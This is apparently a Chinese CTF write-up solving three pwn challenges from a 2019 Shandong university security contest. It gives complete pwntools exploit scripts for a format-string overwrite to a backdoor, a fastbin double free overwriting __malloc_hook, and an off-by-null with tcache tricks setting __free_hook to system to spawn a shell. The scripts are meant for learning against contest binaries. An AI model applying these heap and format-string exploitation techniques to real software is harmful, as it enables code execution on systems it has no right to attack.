把之前比赛的题目做做
当时放弃拯救的我,把所有能保存的题目都保存了下来
深思杯 2019 山东省大学生网络安全技能大赛.zip

MinZhu

首先有一个检测,要把 key 找出来才能进入,使用 angr 就可以
找出来 key 是 xNd9y6

然后看一下位置,第四个

image.png
image.png

然后, 程序有一个后门,覆盖后面要执行的一个函数的地址为它就能打印出 flag 了

image.png
image.png
1
2
3
4
5
6
7
8
9
from pwn import *
p = process("./pwn")
p.recvuntil("Key:")
p.sendline("xNd9y6")
p.recvuntil("your msg:")
payload2 = fmtstr_payload(4, {0x804A034:0x080486B5})
print(len(payload2))
p.sendline(payload2)
p.interactive()
image.png
image.png

heap_doublefree_x64

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from pwn import *
context(log_level="DEBUG")
p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')

def add(size,content):
p.sendlineafter("choice:","1")
p.sendlineafter("length of data:\n",str(size))
p.recvuntil("Leave your message:\n")
p.send(content)

def delete(index):
p.sendlineafter("choice:","2")
p.sendlineafter("want to delete:\n",str(index))

def show():
p.sendlineafter("choice:","3")

def modify(index,content):
p.sendlineafter("choice:","4")
p.sendlineafter("want to modify:\n",str(index))
p.sendlineafter("to modify:\n",content)

def quit(suggest):
p.sendlineafter("choice:","5")
p.sendlineafter("your advice:\n",suggest)

add(0x20,"1111")#1
add(0x20, p64(0) + p64(0x31) + p64(0) + p64(0x31))#2
add(0x20, p64(0) + p64(0x31))#3
add(0x60, "4444")#4
add(0x60, "5555")#5
add(0x20, "2333")#6
delete(1)
delete(2)
delete(1)
add(0x20, "\x50")#7
add(0x20, "\x50")#8
add(0x20, "\x50")#9
add(0x20, p64(0) + p64(0x111))#10
delete(3)
add(0x30, "\x20")#11
show()
p.recvuntil("Total:11,Index->11\nSticky note:")
unsortedbin = u64(p.recv(6).ljust(8, '\x00'))
libc_base = unsortedbin -0x100 - 0x3c4b20
malloc_hook = libc_base + libc.sym['__malloc_hook']
one_gadget = libc_base + 0xf1207
malloc_addr = malloc_hook - 0x30 + 0xd

add(0x60,"1212")#12
add(0x60,"1313")#13
add(0x60,"1414")#14
delete(12)
delete(13)
delete(12)
add(0x60, p64(malloc_addr))
add(0x60, p64(malloc_addr))
add(0x60, p64(malloc_addr))
payload = "a" * 3 + p64(0) + p64(0) + p64(one_gadget)
add(0x60, payload)
p.recvuntil("Your choice:")
p.sendline("1")
p.recvuntil("Input the length of data:\n")
p.sendline("21")
p.interactive()

申请堆块的时候会在 0x06020C8(bss 段)维护一个表
分别是第几个申请的、大小、指针、1

image.png
image.png

不过没用上这里

free 的时候只是把存放的堆指针的地方给置为 0 了,没有把 chunk 给置为 0
fastbin double free 的时候是这么一个指针

image.png
image.png
image.png
image.png

可以把 fd 指针的最后一位改成 \x50,这样再去 malloc 的时候就能申请到 0x603050

1
2
3
4
5
6
7
8
9
10
11
12
13
add(0x20,"1111")
add(0x20, p64(0) + p64(0x31) + p64(0) + p64(0x31))#要注意0x603050那里的size
add(0x20, "3333")
add(0x60, "4444")#这俩0x60是为了确保有后面0x110大小的空间
add(0x60, "5555")#0x70+0x70+0x30=0x110
add(0x20, "2333")#这个是防止0x110与top chunk合并的
delete(1)
delete(2)
delete(1)
add(0x20, "\x50")
add(0x20, "\x50")
add(0x20, "\x50")
add(0x20, p64(0) + p64(0x111))

然后 free 掉,再 malloc 回来去 show 就能显示出来,然而我们会改掉后面那一位,不过不要紧,后三位基本都是 0x00 的

1
2
3
4
5
6
delete(3)
add(0x30, "\x20")#11
show()
p.recvuntil("Total:11,Index->11\nSticky note:")
unsortedbin = u64(p.recv(6).ljust(8, '\x00'))
libc_base = unsortedbin -0x100 - 0x3c4b20#这个使用main_arena算出来的

然后就能计算出 malloc_hook 与 one_gadget 的地址了

1
2
3
malloc_hook = libc_base + libc.sym['__malloc_hook']
one_gadget = libc_base + 0xf1207
malloc_addr = malloc_hook - 0x30 + 0xd

在我电脑上 one_gadget 中的 0xf1207 可以用
这个 malloc_addr 是算了个偏移,为了后面申请到 malloc_hook 的时候能有个 size 位绕过检查
然后还是上面的套路,fastbin double free 把 malloc_hook 的地址改为 one_gadget

1
2
3
4
5
6
7
8
9
10
11
add(0x60,"1212")#12
add(0x60,"1313")#13
add(0x60,"1414")#14
delete(12)
delete(13)
delete(12)
add(0x60, p64(malloc_addr))
add(0x60, p64(malloc_addr))
add(0x60, p64(malloc_addr))
payload = "a" * 3 + p64(0) + p64(0) + p64(one_gadget)
add(0x60, payload)

然后去申请的时候就能拿到 shell 了

image.png
image.png

secnote

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
# encoding=utf-8
from pwn import *
#context.log_level = 'debug'
p = process("./pwn")
elf = ELF("./pwn")
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')

def add(index,leng,content):
p.sendlineafter("Your choice: ","1")
p.sendlineafter("Index: ",str(index))
p.sendlineafter("note len: ",str(leng))
p.sendlineafter("content: ",content)

def check(index):
p.sendlineafter("Your choice: ","2")
p.sendlineafter("Index: ",str(index))

def delete(index):
p.sendlineafter("Your choice: ","3")
p.sendlineafter("Index: ",str(index))

for i in range(25):
add(i,0x78,'aaaa'+str(i))#0-24

for i in range(7):
delete(i)#0-6

delete(10)
delete(11)
delete(12)
delete(13)
delete(14)
delete(15)

p.sendlineafter("Your choice: ",'1'*0x600)
p.sendlineafter("Index: ","50")# >31

for i in range(7):
add(i,0x78,'bbbb'+str(i))#0-6

add(25, 0x78, '25'+"b" * 0x76)#off by null 0x280->0x200

add(26, 0x78, '26'+"b" * 0x6e)
add(27, 0x78, '27'+"b" * 0x6e)
add(28, 0x78, '28'+"b" * 0x6e)
add(29, 0x78, '29'+"b" * 0x6e)
add(30, 0x78, "/bin/sh\x00")

for i in range(7):
delete(i)#0-6 tcache

delete(16)
delete(26)

p.sendlineafter("Your choice: ",'1'*0x600)
p.sendlineafter("Index: ","50")# >31

for i in range(7):
add(i, 0x78, "tcache"+str(i)) # clear tcache

add(31, 0x78, "aaaa31")

p.recvuntil("Your choice: ")
p.sendline("2")
p.recvuntil("Index: ")
p.sendline("27")
p.recvuntil("Content: ")
libc_addr = u64(p.recv(6).ljust(8, '\x00')) - 96 - 0x3ebc40

free_hook = libc_addr + libc.symbols['__free_hook']
system = libc_addr + libc.symbols["system"]

add(10, 0x78, "aaaa10")
delete(10)
delete(27)

add(10, 0x78, p64(free_hook))
add(11, 0x78, p64(free_hook))
add(12, 0x78, p64(system))

p.recvuntil("Your choice: ")
p.sendline("3")
p.recvuntil("Index: ")
p.sendline("30")

p.interactive()

这个题目配了个 libc 2.27 的,所以应该是在 ubuntu 18 下的
限制了 size 的大小要小于等于 0x78,存在 off by null

image.png
image.png

首先把 tcache 填满,接下来 free 的那些就会放到 fastbin 中了

如果 scanf 读入的是一个很大的数的话他就会去申请一块空间,如果这个空间申请的足够大就能触发 malloc_consolidate,从而合并 fastbin 放到 unsorted bin 中去
所以,我们在 scanf 的时候去发送很大的一个数比如 ‘1’*600 就能让前面那些 fastbin 合并

image.png
image.png

再把之前放在 tcache 中的申请回来,然后去申请一个 chunk,正常情况应该是:把 unsorted bin 中那块 0x300 分成 0x80 与 0x280,但是如果全部写上加上后面那个 off by null 就会把 0x280 的 size 给改掉,改为 0x200

image.png
image.png

然后把那 0x200 申请掉,再申请的话就从 top chunk 中划分了(/bin/sh 那个),但是此时图中 aaaa16 那里的 prev_size 依然是 0x280

image.png
image.png

这时候先把 tcache 填满了,再去 free 掉 aaaa16 那个,然后再次触发 malloc_consolidate 就会再给我们一个 0x300 大小的 free chunk(aaaa16 跟它前面那块)

image.png
image.png

先把 tcache 中的都申请完,然后再去申请一个,现在再去 check index27 的就能泄露出 unsorted bin 的地址

image.png
image.png

然后申请一个 index10,这时候正好申请到 index27 那里,那么接下来就是 fastbin double free 了,可以对着这个释放两次,一次 free(index27),一次 free(index10),然后把 free_hook 改为 system 的地址,然后去 free(index30) 也就是前面写入 /bin/sh 的那一个 chunk

image.png
image.png

参考:https://wzt.ac.cn/2019/11/04/sdnisc2019/